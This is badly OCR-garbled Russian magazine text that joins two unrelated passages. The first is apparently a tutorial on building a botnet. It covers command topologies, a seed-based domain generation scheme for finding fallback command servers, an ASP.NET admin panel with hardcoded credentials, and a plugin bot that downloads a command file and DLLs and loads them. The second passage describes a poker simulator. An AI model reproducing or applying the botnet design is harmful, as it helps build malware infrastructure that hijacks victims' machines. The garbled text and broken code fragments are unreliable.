0bwnve fLaHHbIX METOA0B MOXHO KNaccMdULMPOBaTh BCErO NLWb MO ABYM
npu3Hakam (CMOTpM COOTBETCTBYIOWIME PUCYHKM):

e [lepeaya KoMaHA NOCPEACTBOM KOMAH/AHOMO LieHTpa (LeHTpani30BaHHas
Tononorus);

¢ [lepenaya komaHp ot 6oTa k 60Ty nnn P2P (geueHTpanusosaHHas Tono-
norua).

YnobCTBO LLeHTpann30BaHHbIX CXxeM 0bbACHAETCA HanuyneM enHOro
LleHTpa, K KoTopoMy obpaliatoTcsa 60oTbl C Lenblo noayYeHus 3ajaHus.
He HyxHo becnokonTbcs 0 CBOEBPEMEHHOM MOJyHEHUN KOMaHb
KOHKpeTHbIM 6oToM. PaKThl NMOAYYEHNs, BLINOSHEHWS, ycnelwHoro/
HeyCrnewHOoro 3aBepLlleHns 3aa4v nerko GUKCUPYTCH, YTO NO3BONSET
BeCTu feTanbHylo ctatuctuky. OgHako LeHTpann3osaHHas Tononorus
0CTaeTcs akTyanbHOM NnWb Ans HebonbWwwux 6oT-ceTel No ciedyowmnMm
npuYmMHaMm:

o [noxas MaclTabrpyemMocTs (C pocToM Yncna 3apaxeHHbIX XOCTOB pacTeT
Harpyska Ha KOMaHAHbIN LeHTP ¥ yBENMYNBAETCS BEPOSITHOCTb OCYLLeCT-
BJIEHMS aTaku TUNa «oTka3 B 06C/yX1BaHWW» Ha cepBep, NepeaaroLLmii
3agaHua);
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CxeMa LI,eHTpaﬂVIBOBaHHOﬁ Tononoruu

¢ LleHTpanusosaHHoe ynpasseHue (Bbicokas BEPOATHOCTb M30JMPOBAHNSA
KOMaHZIHOr0 LEHTPa, 4To HEMEJIEHHO «Mapanuayet» seck 6oTHeT).
[lelieTpann3oBaHHas TOMONOrMS MOAHOCTBIO JIMLLIEHA BbILLENepeynCaeHHbIX
HEeA0CTaTKoB 1 B Uy 0cObeHHOCTEl CBOEN apxuTekTypbl obecneynsaeT
BonbLuyio «xumByyecTb» boT-ceTn. Ho, kak Bceraa, B bouky Mesfa obsizatens-
HO KEM-TO BbIINTa CONMAHAs JIOXKa AErTs, U B HALLEM Clyyae — He OfHa:
1) Peer-to-peer cxema npeanonaraeT ysefoMeHye Kaxaoro 6ota o cyule-
CTBOBaHUW [pYrvX 3apaxkeHHbIX MalUVH. 3Ta npoLefypa sBAseTcs [0BOSIbHO
«ManeBHO», Tak Kak HEODXOAMMO XpaHUTb Ha KaxX[oi 3apaxeHHol pabo-
Yel CTaHUMU orpoMHbIi (Mbl paccMaTprsaem bonbluve BoTHeTs) dain co
cnvckoM P Bcex BoToB ceTvt 1 B peanbHOM BpeMeHW ero 06HOBASATb, ecuv
TpebyeTca focTaBka KoMaH[, kaxaol «boeBolt efuHULE»;

2) OBHoBEHWE CMIKCKa U MOJTyYeHMe KOMaHabl TpebyioT A0MONHATENBHO —
OTKPbITbIX MOPTOB Ha 3apakeHHoW MalluHe, YTO YBeNV4MBaeT BEPOSTHOCTb
obHapyxeHwus boTHeTa;

3) BHaunTenbHOE BpeMa 3aTpadvBaeTcs Ha nepejady 3adaHus oT xocTa K
xocty (P2P) n, cooteeTcTBEHHO, pacTeT obliee BpemMs ero BbiNosHeHNS;

4) TpyaHOCTb BefleHWa CTAaTUCTUYECKNX AaHHbIX (cKonbko 60ToB nosyunni/
BLINOJHWAW 3aaHve).

B bonbLunHcTBE Cy4aeB 0bunve He[oOCTAaTKOB U CJIOXKHOCTb peanusaunn
P2P-BoTHeToB ABNsIOTCA pellatowMm dakTopamu B Nonib3y Bbibopa LieH-
Tpanu3oBaHHo Tononornu. Mel Takxe He byfeM n3obpeTats Benocunes, a
BOCMOSb3YEMCS MUPOBbIMU MPaKTUKaMU.

KanpuaHblii KOMaHAHbIN LEeHTP, KOTOPbIA NOCTOAHHO HAXOAMTCS B YCNOBUM
HeyCToM4MBOro paBHOBECUS, CTPEMSCH YNacTb NpY MaselilleM pocTe Hallen
«apMUK», Tak U HOPOBWT OTAATLCS B PYKV MPaBOOXPaHWTESNbHbIX OPraHos,
KOTOpble BOT-BOT MPUKPOIT MaBHbIN AOMeH. [1yCTb NprKPbLIBAIOT — Xakep
€ro CMeHWT.

NCEBAOCAYYAHHBIE UMEHA

leHepaTop nceBAOCNYYaNHbIX YMCEN UMEET OfHY 0COBEHHOCTb, KoTopas
ABAsSeTCA KoYeBo Ana boT-MacTepa — nonyyas Ha BXof napameTp B Buae
duKkerpoBaHHoro 3HaueHus, T4 reHepupyeT cnyyaiibyio nocnegoBaTeNb-
HOCTb, KoTopas byfeT ofMHakoBa Ha pPasNuyHbIX pabounx CTaHUMaX Npu
YCNOBUW NOJTyHEeHUs X FreHepaTopamu 3Toro napameTpa.

YT06bI Tebe He NpULLNOCH AOAMO UCKaTb CMbICA B Ucnonb3oBaHuu [T14, pac-
CMOTPUM CleflyioLLyto GyHKLMIO:

DyHKLMA reHepaummn nceBaocayYanHom
nocnenoBaTesIbHOCTU
int generator (int seed) {

srand (seed) ;

/* BBBOI OBAaOllaTy IIEPBHX 3JIEMEHTOB
IOCTIENOBATEIBLHOCTI® /
20;

printf("iteration %d,
getch();

return 0;

for (x = 1; x <= x++)

rand=%d\n", x, rand());
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OcywectBneHue ataku tuna DDoS — knaccuka uc-
nonb3oBaHUA 60THeTa

Ba30BbIMU GyHKUMAMM, OTBEYAIOLLMMI 33 MHULMANM3ELMI0 1 reHepaLmio
nceBAoCNyYaliHOM NOCNeA0BaTENbHOCTH, ABNAIOTCS [JAaBHO 3HAKOMbIE HaM
srand () v rand (). Ha ocHoBe nepemeHHon seed dyHKUMA srand ()
VIHWULMaNU3VpyeT MHOXECTBO YWCeS1, Ha KOTOPOM, B CBOI o4epefb, byaer
paboTtaTb dyHKUMA reHepaummn rand ().

Pesynetat paboThl GyHKUMM generator () npu 3HaveHun seed=123:

440
19053
23075

Takum obpa3soMm, seed siBnsieTcH TeM CaMbIM NapaMeTpoM, Ha 0CHOBE KOTO-
poro ByaeT reHepnpoBaTbCa NOCNeA0BaTENbHOCTL JOMEHOB.

Jlerkum fBvkeHeM pykin U HebonbLUMM LeBeNeHneM U3BUIINH reHepaTop
NceBAOCNYHaNHON YMCNOBOW NOCNE[0BATEIbHOCTM NPeBpaLlaeTcs B reHe-
paTop NceBfOCNyYaliHOM NOCNeA0BaTENbHOCTU JOMEHHbBIX UMeH, pe3y/bTaT
paboTbl KOTOPOTO Thbl MOXELLb BUETb HA COOTBETCTBYIOLLEM CKPUHLLIOTE.
Cnocob reHepaLuy OMEHHOTO MEHW OCHOBaH Ha NpocToll paboTe co
cTpokamu. Hnyero cBepxbecTecTBeHHOMO B UCXOAHOM KOAe reHepaTopa Her,
MO3TOMY NMPUBOAUTL €ro 34eCh He ByfeM — ULLM UCXOLHWKM C KOMMeHTa-
pUSIMU Ha fu1CKe.

Heckonbko cfloB MOXHO cka3aTb 00 OKOHYaHMAX JOMEHHbIX UMEH: AOMEH-
Hble 30Hbl DEPYTCA U3 MaccuBa U CKIEUBAIOTCS CO CreHepPVPOBAHHOW CTPO-
KOI, No3ToMy, Yem bosibLie MaccuB C 3TVMU 3fleMeHTaMu, TeM LIVpe Auana-
30H BCEBO3MOXHbIX BAPMAHTOB.

ViMes B cBoeM dyHKLMOHaNe reHepaTop LOMEHHOT0 UMEHH, B Clydae
HeLOCTYMHOCTW KOMaHAHOro LIeHTPa Ha OCHOBHOM JloMeHe DOT reHepupyeT
HOBBIN 1 CBA3bIBAETCH C HKM. B cBolo ouepepp, boT-MacTep Takxe MMeeT B
HaMYMK aHaNOrUUHbI reHepaTop (C HyXHbIM BXOA4HbLIM NapaMeTpoM seed),
4TO MO3BOJIIET EMY 3apaHee 3aperncTprpoBaTb HOBOE AOMEHHOE UMS [1s
CBOEN «apMum».

Taknm 0bpaszomM Mbl M36aBUAKCH OT OAHOTO M3 OCHOBHbIX HEOCTAaTKOB
LLeHTPanv30BaHHOM TOMONOTUM — BO3MOXHOCTU YHUUTOXKEHWSA KOMaHAHO-
ro ueHTpa. OfHako ocTaeTcs yrpo3a nosyYeHns KOHTPOAs Haf AOMEHOM

1 HecaHKLMOHVPOBaHHOM nepefayn koMaHg botam. [laHHasa npobnema
peLaeTcs CneymasnbHo CNpoeKTUPOBAHHOM aAMUHCKOM YacTbio [Takxke
M3BECTHOW KaK «aMWHUCTPaTUBHas NaHenb»).

BOTHET U .NET

O,EI,I/IH M3 MeTo0B 3allnTbl OT HecaHKLl,l/IOHMpOBaHHOIZ nepefadn 38,D,aHI/H7I
boTaM 3akstouaeTcs B MCMNONb30BaHNN Lumc]:poaaqu KOMaHOHOro q)alhna Ha
CTOpoHe cepBepa. KnueHT, konm BbICTyNnaeT 3apaxXeHHad MallnHa, nMeet
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CODING

CNUCOK creHepupoBaHHbIX LOMEHOB

B CBOEM pacnopskeHuu Koy Ans pacumdposku atoro daiina. Vaes
XOpoLUast, HO Mbl MoieM ApyruM nyTeM, BOCMOSb30BABLUMCh NPenecTaMu
COBPEMEHHbIX TEXHONOT A,

B uiorbckom HoMepe ][ B cTatbe «Yaseumoctu ONLINE» Mbl paccMmoTpe-
nv 6a3oBble acnekThl co3faHuns Beb-cepBrCOB Ha OCHOBE TEXHOAOMUN
ASP.NET. Tenepb konHeM HeMHoro raybxe v NOCMOTPKM, Kak CTpOSTCS
3alyeHHble Be6-NpUNoXeHNs — 3T0 NPUrOAMTCS HaM 19 NOCTPOEHNS
aAMUHWCTPATVBHOM NaHenu KoMaHAHOro LeHTpa. Beb-npunoxerne, B ponu
KOTOPOTO BLICTYNAET «afiMUHKa», MPefoCTaBaseT pecypcs (To ecTb KoMaHk-
HbI Gaiin) cBouM knneHTam (botam). Beem «HexenateNbHbIM» IMYHOCTAM
Beb-NpunoxeHvie SOXHO NOKa3biBaTh MapLLPYT B CTOPOHY Jleca.

[Mpouecc onpeaeneHys CaHKLUVOHMPOBAHHOTO KWeHTa COCTOUT U3 [BYX
nocnefoBaTesbHbIX 3Tanos:

o AyTeHTUMKaLMA — HenocpeACTBEHHO pacno3HaBaHye KiveHTa, 3anpa-
LIMBAIOLLLEro Pecypc;

* ABTOpu3auus — onpefenexune, UMeeT 1K ayTeHTUPULMPOBAHHbIN KINEeHT
HeobxopMMble NpaBa Ha 3anpaLlvBaeMblit M pecypc.

[Ins ycTaHoBKM NpoLecca ayTeHTUPUKALWM B KOHOUTYpaLVIOHHOM daiine
Beb-cepsuca Config.Web HeobxofnMo BHECTU COOTBETCTBYIOLLIME N3MEHE-
HUS:

<configuration>

<security>

<authentication mode="Cookie"/>
</security>

</configuration>

Takvm 0bpa3oM Mbl ycTaHaBMBaeM NpoLecc ayTeHTUGUKALMN Ha OCHOBE
Cookies-daiinos. anee ons ayreHTUdMKaLMM KnneHTa HeobXxoaMMo npu-
HATb OT Hero aaHHble (UserlLogin n UserPassword), ceepuTs vx ¢ Tpebye-
MbIMW 1, B Cllydae ycnexa, nepefaTb eMy cookies-daiinbl, KoTopble NoHa-
[0DATCA KAMeHTY As noflydeHns A0CTyNa K 3aLMLLIEHHOV YacTu caiiTa, rae
XPaHUTCS KOMaHLHbIA dann:

runat= server>

EventArgs E) {
"DotSiteTeam")

<script language="C#"
void Login_Click (Object sender,
if ((UserLogin.Value ==

&& (UserPassword.Value == "BestITResource")) {

CookieAuthentication.RedirectFromLoginPage (
UserLogin.Value, true) ;

}

else {

//BHBO,EL COO61LI€HMH O HEIIPaBUIIBHO BBEOEHHBIX ITaHHBIX

}

</script>

B ASP.NET pasnuuaioT fBa BMAa aBTOpM3aLIMK, KOTOpble ONpPeaensioT, ecTb
NNy KAIMEHTa COOTBETCTBYIOLLIME NpaBa Ha JoCTyn K 3anpawuvsaeMomy URL,
roe xpanutcs paiin ¢ komangamu: URL un File. Ham nHTepeceH nepsbiit
cnocob ynpasneHuns [LOCTYNOM, NO3BOJSIOLLMIA MPOBOAUTL pasrpaHuye-
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CxeMa peueHTpaN30BaHHOM TOMOJIOTUHM

HWe A0CTyna KMeHTa K pecypcy B 3aBMCMMOCTM OT €ro MEHW W Ponu.
Hanpumep, cnefytowias koHpurypaumsa paspetaet goctyn k URL Bcem
KIMeHTaM, NpoLIeALLVM ayTeHTUGUKALIMIO, 1 3anpeLLaeT BCeM OCTaNbHbIM:

<authorization>
<allow users="*" />
<deny users="?" />

</authorization>

«MANTE» aIMUHUCTPATVBHYIO YacTb HOTHETa MOXHO He MeHee MPOLOJIKN-
TeNbHoe BpeMs, YeM camoro boTa, Tem bonee, eciv B pacnopsixeHnm
MMeloTCs MHTePECHbIE TeXHO0MN 3awuThl Beb-npunoxeHnin ASP.NET, noa-
TOMYy Mbl He ByAeM NbiTaTbes 00bsATh HEeobBbATHOE, a NepeiaeM K Kto4YeBoi
Yactu — 6ory.

bOT B PA3PE3E

JTioboit coBpeMeHHbIN 6OTHET JonxXeH nojpa3ymeBaTb paclunpeHe CBoero
dyHKUMoHana. 3ayem? Hy, Hanpumep, ecnu y 6oT-MacTepa BO3HMKIO Xena-
HVe nepekBanndULMpPoBaTb CBOK apMuio 30MOM B CETb pacnpefeneHHbIX
BblUMCNEHNIA, KoTopas ByaeT MOAeIMpoBaHUEM NOCIEACTBUIA SAEPHbBIX
B3pbIBOB. [TnarnHHas apxuTekTypa no3BosseT «pa3Bs3aTe» pPyki afMUHN-
CTpaTopy CeTM U HapaLiMBaTb UK 0bHOBAATL GYHKLMOHaN No Mepe Heob-
XOAMMOCTU. YUnThIBaA AaHHbIA $akT, cOCTaBUM anropuT™ AencTBuUii Hallero
6ota:

1. nony4yeHve KOMaHAbl OT cepBepa;

2. 0bpaboTka KoMaHAbl, TO eCTb ee knaccudurkaLms Ha «M3BECTHYI0» UK
«HEU3BECTHYI0»;

3. obpaboTka cooTBeTCTBYOW MM 06pa30M NapaMeTpoB KOMaHAbl B 3aBUCU-
MOCTV OT ee Tuna;

4. BBINONHEHWE KOMaH[bI.

[MonyyeHvie koMaHA 3ak/04aeT B ckayMBaHUK TeKCTOBOro daiina c cepsepa
[command.txt). Peanusaunio ckaunsarns daiina bepet Ha cebs dyHkUMs
HTTPDownload (char *FileUrl, char *FileName).[laHHas $yHk-
UMS TakKe UCNob3yeTcs 1 ANs ckadmBaHus Heobxognmbix .dlL ona 6oTHeTa.
A pewmn He 3aHMMaTLCS pyTVHOW, paboTas ¢ CoKeTaMu, a BOCMOJ1b30BaTbLCH
cTaHpapTHol brubnuoTtekoit, kotopas npucytcteyeT B Windows: wininet.dlL.
[annasa DLL npepctaBnset coboit APl gna gocTyna k obuimM npotokonam
nHTepHeT, Boyaa FTP, HTTP n Gopher. 310 BhicokoypoBHeBbIl AP,
no3sgonsawLwmii, B otandme ot WinSock nav TCP/IP, He 3aboTutbes o peTa-
SISIX peanu3aummn COOTBETCTBYIOLLNX MHTEPHET-NMPOTOKOO0B.
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Pesynbrat paboTbl reHepaTopa nceBAoOCAy4YaWHbIX YUCeEN

[ns nonyyeHns komanp 00T JoMKeH Nepuoanyeckn
COEAMHATLCS C CEPBEPOM, CKauMBaTb KOMaHAHbIN Gaiin

1 cooTBETCTBYW WM crnocobom ero obpabatbiBaTe. lMog
obpaboTkoln Mbl mofpa3yMeBaemM felicTBUe, B pe3dyabraTe
KoToporo 6OT nosyyaeT fBe CTPOKU: Ha3BaHWe KOMaHbl U
CTPOKY, COAep>Xalllylo napameTpbl K Hell, mepeyncieHHble
yepes cumBon npobena. KomaHAHbIn Gaiin uMeeT cnefyto-

LYK CTPYKTYpY:

CTpyKTypa KoMaHgHoro gaina

<koMaHma (1) > [mapameTrp(l)] [mapameTp (2)]
[mmapameTp (1) ]
<koMaHna (2) >

[mapameTp (1) ] [mapameTp (2) ]

[mapameTp () ]
<komaHma (k) >

[mapameTp (1) ] [mapameTrp(2) ]

[mapameTp (n) ]

rae i, j, k MeHsiotca B nHTepsane (1; 6eckoHeqHOCTs).
[eiictBra 6oTa TakosbI:
1. Bblienexune k-oit cTpoku;
2. nepefiaya BbleNEHHOI CTPOKM B GYHKLMIO, KOTopas peanu-
3yeT nogkntoyeHne bubnmotekn, Heobxofnumow Ans BbiNoAHe-
HUS KoMaHasl (GyHkuma PlugLibrary () );
3. PlugLibrary () COOTBETCTBYWLIMM 0Opa3oM MHTeprpe-
TVPYET CTPOKY ¥ BbIMOMHSAET HeobxognMoe LelcTBMe, 3aBuUCS-
LiMe oT TMna KoMaHabl.
MapcuHr command.txt peanusyeT GpyHkUWs Parse (char
*FileName).
B cnyuyae HeobxogmmocTu nopknoyeHns ckadanHon dil'km
C Uenbio paclumperuns dyHkumnonana, ¢yHkums Pluglibrary
BbINOSHAET CRefyoLlve MHCTPYKLMM NO 3apaHee ONMCaHHOMY
VHTEpdEcy NnoaknoyeHus (oH Takke foxkeH ObiTb odpopMeH
8 camon dll):

/ /TIoOKIToYeHe OubIMoTerM
hPlugin = LoadLibrary (Dl1Name) ;
/ /onpenenenue twura (DefType)

int (*DefType) (char *);

/*onpenenenye ampeca oyHRIMM <«Load»,

KOTOPYW DKCIOPTUPYET 6mbinorera*/

DefType Load = (DefType)
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GetProcAddress (hPlugin, "Load") ;

/*BH30OB OyHKIMM "Load" u mepemada IIapaMeTpOB
>TOoN QyHKIMM* /

int iCode=(*Load) (Parametrs) ;

OyHkuma Load, akcnoptrpyemas brubanotekoi, conepxmt
HeobXoAWMble MHCTPYKLWK, obecneyunBaloLLie paclumpeHue
dyHKLMOHaNa oCHOBHOI nporpamMmbl-boTa.

W 3T0 TO/IbKO HAYAJO...

B cTaTbe Mbl HEMHOTO MOACMOTPENM 3a NPOLLECCOM NPUTOTOB-
neHus boTHeTa No nNpasuiabHOMY peuenTy. Halwe BHUMaHue
KOCHYNOCh 6ONBbLWMHCTBA acnekToB MCKycCTBa 30MbVpoBaHus:
npoaHanu3npoBaHbl OCHOBHbLIE apXMTEKTypbl boT-ceTel, ocy-
LecTBfeHa peanun3auus Havbosee akTyanbHoW TONo0Mn

C yCTPaHEeHVeM NPUCYLLMX el HEJ0CTATKOB, PAaCCMOTPeHa
[,0BOJIbHO NMepcrekTBHas 061acTb UCM0oIb30BaHKs Beb-
CepBVCOB B KayecTBe aAMUHUCTPATMBHO NaHenn co cBoein
3alUMLLEeHHOW 30HOM, HanucaH nnaruHHbIA 60T, KOTopbI

no Mepe XenaHus agMUHUCTpaTopa MOXET MyTHPOBaThL A0
Hey3HaBaeMocTU. M 3To ToNbKo Hayano, Befib CKOSIbKO HioaH-
COB OCTaNOCh 3@ KaApOM: COKpbITVE UCTONHAeMoro dalina B
cuncTeMe, pasgeneHvie boTHeTa Ha MOACETH W TOMy NofobHble
3afauv, KoTopble Tebe ellle NpefcTouT pelunTb. A nnlb 3agan
Tebe HampaB/ieHne ABUXKEHVSA, ECTECTBEHHO, NCKITIOYNTENIbHO B
03HaKOMUTENbHbIX Liensax. 3c

Banoxy Web 2.0 nonynspHbie cepBUChI Bbl-
NOJIHAOT POJib KOMAHAHbIX LLEHTPOB

[INFO

> info
NHudopmauus npes-
CTaBfeHa UCKo-
YMTENbHO B LeNsx
03HaKkoMsieHns. 3a
He3aKoHHOoe UCnosb-

30BaHue ee MaTepna-
NOB rpo3nNTyrosioBHad
OTBETCTBEHHOCTb.

| DVD

>dvd

Ha nvicke Tebs xayT
NCXoaHble Koabl boTa

1 reHepaTtopa JOMeHOB
B BMUE NpoeKTa Ang
MS Visual Studio 2010.

[HTTP://WWW|

> links
ehttp://www.xakep
ru/magazine/
xa/128/056/1.asp

— cTaTbs «BeyHblin
BoTHeT: NMpuHLMNbI
33Tl bonbLumx 6oT-
ceTemn».

ehttp://msdn
microsoft.com/ru-ru/
library/dd335939.
aspx — pa3paboTka

1 pa3BepTbiBaHNe
3alMULeHHbIX web-
npunoxexunii gns ASP.
NET

ehttp://defec.ru —
MOi pecypc, riae Tbl
MOXelb HalNTV MaTe-

puasbl 0 pasanuHbIX
ceTax pacrnpegeneH-
HbIX BBIYMCTIEHWIA, @
Takxe 3a4atb BONPOCHI
Y MOAENUTLCS UAEAMM.
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CUMYTIALIAA

[I0KEPHOI'0 OPTASMA

KZHMBEIEM B KOZMHT NOKepPHbIX 60TOB:
aeM CUMYIATOP TPEHHPOBKH

B aTou cTaTbe Mbl pacCMOTpUM CO3JaHKe CUMYNIATOPA NOKepa. TaK KaK
npaBuia NOKepa HEeMHOro 0T/IMYAKOTCA MEXAY COO0H, TO B KayecTse
npaBun ANA CAMYAALKUK Mbl Bo3bMeM npasuna Holdem No Limit Poker

¢ canta PokerStars. Ha ocHoBe cuMynsTopa Mbl CieNnaeM Be Urpbl — Urpa
KOMNbOTEpa C }KUBbIM UrPOKOM M NPOCTO Urpa KOMNbIOTEPHbIX UrPOKOB
Mexay co6oi. [lepBas urpa HaM noHaf06MTCA ANA TECTUPOBAHMUA.

UHTEPOEACHI

Co3paavm aBa nHtepdeiica — llogic v IEventSimulation. MepBbiit HTEp-
delic HyXeH Ans Toro, YTobbl YHUOULMPOBATL BEI3OB Pa3MYHbIX IOTUK.
To ecTb y Hac nMeeTcH OAVH UHTepdelic, KOTOPbIN peannsyeT pasfnyHble
NOFUKK, U HAM He HYXXHO BecrnokouTbCst 0 XpaHeHWUW PasanYHbIX 0TMK
— Mbl XpaHVM TONIbKO MaccuB UHTepdeiicos [Logic 1 Bbi3biBaeM MeToA,
3TOro UHTepdenca. Y gaHHoro nHtepdelica ecrb ToNbKO OAUH METOL —
float totalBet,
int minRaise), oH Bo3Bpalaet 0,

int getAnswer (float p, float curBet,
int betting,

koraa HyxHo cbpocnts (fold), 1 npu npuHatuwm crasku (calll u 2 npu

float pot,
yBenMueHun cTaskm (raise). HemHoro ynpoctim Mogens — npw peinse

He ByfeM BbICTaBAATb 3HAaYeHKe CTaBKK, @ MPOCTO YBENUYUM CTaBKY Ha
MUHVMaNbHO BO3MOXHOE 3HayeHue.

PaccMoTpuM napaMeTpsl 3T0ro MeToAa: p — BepoSTHOCTb BbIUrpsIla (Mpo
Hee unTail B cTaTbe «HaTtarnsaem ceTesbie poker room’si» B MIOHLCKOM ]

[ v Ha aucke k aTomy HoMepy), totalBet — Bce nocTaBneHHble MFPOKOM
fleHbru 3a urpy, curBet — Tekylee konnyecTBO fiEHEr, KOTOPOE HYXHO
nocTaBuTb, pot — pa3mep baHka, betting — Homep kpyra Toprosnu,
minRaise — MUHWManNbHoOe KONMYeCTBO AEHET, Ha KOTOPOE HY>HO MOBbI-
CUTb CTaBKy Npu peiise. BTopol nHTepdenc HyxXeH Ans co3faHns pasnmny-
HbIX 0bonodek Ans cumynsaTopa. B Halwem cnyyae bynet ABe obonoykn — ans
Urpbl KOMMbBIOTEPHbIX UTPOKOB C YEN0BEKOM U 15 UTPbl KOMTbIOTEPHbIX
nrpokos Mexay coboit. B nHtepderice IEventSimulation onpefenesl meTo-
[ibl, KOTopble No3BOAsAT coobLuaTs obonouke 060 BCex M3MEHEHUSX B UTpe.
[epeuncamm st Metofpl:
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changeBoardCard (int [] board) — MeTo[ Bbl3blBAeTCH Npun
N3MEHeHMW KapT Ha cTofle, changePot (int pot) Bbi3biBaeTCH
npv n3mMeHeHUn pasMmepa barka, changeMoneyOfPlayers (int []
money ) BbI3bIBAETCA MPU U3MEHEHUN KONMYecTBa feHer Urpo-

KoB, postDillerMessage (String message) Bbi3blBAeTCA Npu
oTnpaske cooblleHnit gunepa, changeDillerPosition (int
posOfDealer) Bbl3blBAETCH MNPU M3MEHEHWUM NO3NLMN Aniepa,

int[] hand)

changePlayerStatus (int player, int status,

BbI3bIBAETCA NPpN U3MEHEHNIN CTaTyCca Urpoka.

CXEMA CUMY/IITOPA

Kak n3BecTHo, NpaBwvna nokepa HEOAHOPOLHbI U CKIOHHbI APYr OT Apyra
oTnnyatbes. Hanpvimep, B kpyre Toproeaw. Tak, no npasunam ¢ caita
PokerStars nocne nepsoro kpyra TOprosiv nepsbIM XOAUT aKTUBHbIA UTPOK
cneBsa OT Annepa, a no APyruM rpasunam nepebiM XOAUT UFPOK CeBa oT
UrpoKa, KOTOPbIF XOA4WA NEPBBIM Ha MPOLLIOM Kpyre Toprosawu. B cumynsato-
pe peanv3osaHbl npasuna Holdem Poker c caiita PokerStars. o pasmepy
cTaBok bygem genatb He NoLimit 1 He Limit, a koe-4To cBoe — orpaHnynM
pasMep peii3a TekyLLenh CTaBKON.

Bcero noruk cemb: Aggressivelogic (pasbirpbiBaet gaxe cnabbie pyku),
CautiousLogic (pasbirpsiBaeT Tonbko cunbHble pyku), Rationallogic (nei-
cTByeT paumoHansHo), Raiselogic (Bce Bpems noseiwaet crasky), CallLogic
(sce Bpema nopnepxumBaeT ctasky), FoldLogic (Bce Bpems cbpacbiBaeT),
RandomLogic (cnyyaiito xoanT).

AggressivelLogic, CautiousLogic 1 RationalLogic ncnonbs3ayiot 8 npuHsTn
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‘B Console 52 .

HoldemConsole [Java Application] C:\Java\jre6\bin\javaw.exe (2
hauano payHEna Bl
Ounep l-woi mMrpox
JdeHbIHM MI'POKOE:
l1-wpz 7508

2-wmz 7508

3-mmz 7508

4-wmz 7508

S-ept 7508

6-mmz 7508

7-wmz 7508

8-wmz 7508

S-epz 7508

KapTa 1-To mrpoxka
KapTa 2-ro muMrpoka
KapTa 3-T0o MIrpoka

8s 8d
2= Ss
Qh 10c

®opma HoldemConsole

peLueHnin popmyny p*pot = win 1 cpaBHMBaET win Co CBOMMM cTaBkamu. MHave
rOBOPS, MCMONb3yeT GopMyTy, KOTOPYIO Mbl 06CY>KAaV B NMPOLLION CTaTbe (ecin
Xo4ellb OCBEXMTb NaMsiTb — BCTaBb B cBo0 IBM fuick K 3ToMy XypHany 1
3aumTan ee). EnmHcteenHHoe, uto — Cautiouslogic yMeHblIaeT BeposTHOCTb,
4TobbI pa3bIrpbiBaTh MeHbLUe pyk, a AggressiveLogic yBennymnsaet, 4Tobbl
pa3sbirpbiBath bonblue. Obonouka HoldemForm pucyet dopmy Ha swing'e u
peanuayeT fBa UHTepdelica — |[EventSimulation u [Logic. [NepBbiit nHTEpdelic
HY>KeH [J15 Toro, 4Tobbl 0TobpaxaTs Ha GpopmMe Bce CobbITUS CUMYNALMN — pa3-
[layy KapT, coobLLeHns aunepa, 3MeHeHUs COCTOSHWIA MrpokoB U T.4. BTopoit
nHTepdelic Mbl co3aaeM, YTobbl Noab3oBaTeNb MOT COObLLATEL CUMYASTOPY CBOM
nericteus — Fold, Call unn Raise. ®opma oTobpaxaeT Bce KapTsl MIPOKOB W
BEPOSTHOCTV WX BBIIPbILLA, NO3TOMY OHa HE MOAXOANT AN YECTHOM Upbl C
KOMMBIOTEPOM, HO 3aTO MfeasnbHO NOAXOAUT 1S OTNAfKN CUMYSISTOPa.
HoldemConsole npocTto BbIBOAWT BCe coobLleHUs auaepa Ha 3KpaH.

MOPALOK CUMYNALUK

[ns Havana — HebonbLuoit anropuT™. WTak:

1) MocTaBUTL BOABLLLON W Manbil baiHas!;

2) Pazpatb KapTbl nrpokam (Mpe ¢non);

3) MposecTvt kpyr Toprosnu;

4) MonoxuTs Tpy KapTsl Ha cton (Pnon);

5) MposecTy Kpyr Toprosnu;

6) MonoxnTb YeTsepTyto kapTy Ha cton (TepH);

7) MposecTvt kpyr Toprosnu;

8) MonoxunTs Natyto kapTy Ha cTon (Pusep);

9) Mposectnt kpyr TOprosu;

10) OTKpbIT KapTbl U OMPEAENNTL BLIMIPLILLHYIO KOMBMHALMIO.
Co0TBETCTBEHHO, NOC/E KAXA0r0 Kpyra TOProBAN HY>KHO NpoBepsiTh, He
0CTasCs v B Urpe ToNbKO 0AuH 1rpok. Eciu fa, To Bech BaHK yxoanT emy.
Konunyectso nrpokos, kotopsle byayT nrpaTs, pasHo Aesatv. Bo Bpems
WTPbI VX MOXET CTaTb MeHblLUE, HO B Hauane ux 6yAeT MMeHHO AeBATb. 370
CLENaHo B LieNsX yNpoLLEHNs CUMYNALMM — He HaAo 3aboTUTbCs 0 AnHaX
MacCKBOB.

KOA CUMYNIATOPA

OnpenenmMmcs ¢ TeM, YTo [I0MXKEH 3HaTb CUMynaTop. Bo-nepsbix, cumy-
JIATOP [OSKEH UMETH creflylolye AaHHble 06 1rpokax: ux AeHsru
(moneyOfPlayers), kaptsl (handOfPlayers] u nx coctosHwe (B urpe nam
Boilwu) — stateOfPlayers. Bo-BTopbix, AOMKeH 3HATL NO3MLMIO Ansepa
(posOfDealer), konuuectso perer 8 barke (pot), pasmep Gonbloro GnaiH-
na (bigBlind) u Tekywine kaptel Ha ctone (board). na paboTsl norukn
NPUHATHRA PELUEHUI HYXHO TakXe 3aMOMUHaTh, CKOSIbKO JeHEr MonoXusl

B 6aHK KaXnablil U3 MIPOKOB 3a Tekyllyio urpy(totalBet). 1 camoe rnas-
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Bank
9-bilt Kv 44 170 1-blii J& 6%
690 0
8-blit 2-6iit
750 740
64 24 10+
7-blit 3-bli
750 730
B-blit 5-biit 40t T+ As
750 750 710

Coobuiexns gunepa:

BIW WTPOK caenan CALL 205 al

Kaptel Ha gnone 6d 2c 10s

BepoATHOCTL BRINIPBIWS 4-10 urpoka 0.22746897
bill Urpok caenan CHECK

BepoATHOCTL BbINIPLIWE 9-ro wrpoka 0.18700875

9-bIil UFPOK cAenan RAISE 208

BepoATHOCT BeINPLIWA 1-ro Mrpoka 0.46679798

Raise 40.0

®opma HoldemForm

HOe — CUMYNATOP JO/IKEH 3HATb, YTO 3@ UIPOKM UIPAOT 3@ CTOIOM, TO
eCTb y Hero gosxeH 6biTb cnvcok Becex nrpokos (playerslist]. MeToapl,
Hy>XXHble ONg cumMynaumn: trade (int betting) — MeTon TOoprosau,
startGame () — rnaBHbIVi METOA, B KOTOPOM MPOUCXOAMT Urpa, int
